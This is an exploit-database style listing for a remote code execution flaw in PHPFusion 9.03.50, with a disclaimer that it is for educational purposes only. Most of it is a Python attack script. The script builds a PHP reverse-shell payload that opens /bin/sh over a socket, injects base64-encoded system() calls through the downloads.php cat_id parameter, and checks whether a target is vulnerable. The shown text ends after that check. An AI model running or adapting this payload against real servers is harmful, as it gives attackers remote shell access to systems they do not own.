Exploits / Vulnerability Discovered : 2021-05-28 |
Type : webapps |
Platform : php
This exploit / vulnerability Phpfusion 9.03.50 remote code execution is for educational purposes only and if it is used you will do on your own risk!
PAYLOAD = "php -r '$sock=fsockopen(\"127.0.0.1\",4444);exec(\"/bin/sh -i <&4 >&4 2>&4\");' " # !!spaces are important in order to avoid ==!!
REQUEST_PAYLOAD = "/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}"
parser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with "Allow PHP Execution" enabled.')
parser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.')
parser.add_argument("-v", "--no-verify", action="store_false")
args = parser.parse_args()
if args.target.startswith("http://") or args.target.startswith("https://"):
target = args.target
else:
print("[!] Target should start with either http:// or https://")
exit()
# verify payload
PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode("ascii")
if '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64:
print("[!] Invalid payload, make sure it does not contain a + or a =!")
exit()
# verify vulnerable host
if args.no_verify:
page_data = requests.get(target + "/infusions/downloads/downloads.php?cat_id=${system(ls)}")
if "infusion_db.php" not in page_data.text:
print("[!] Can't seem to find infusion_db.php. QUITTING!")
print("[!] If this validation is wrong just use the --no-verify flag.")
exit()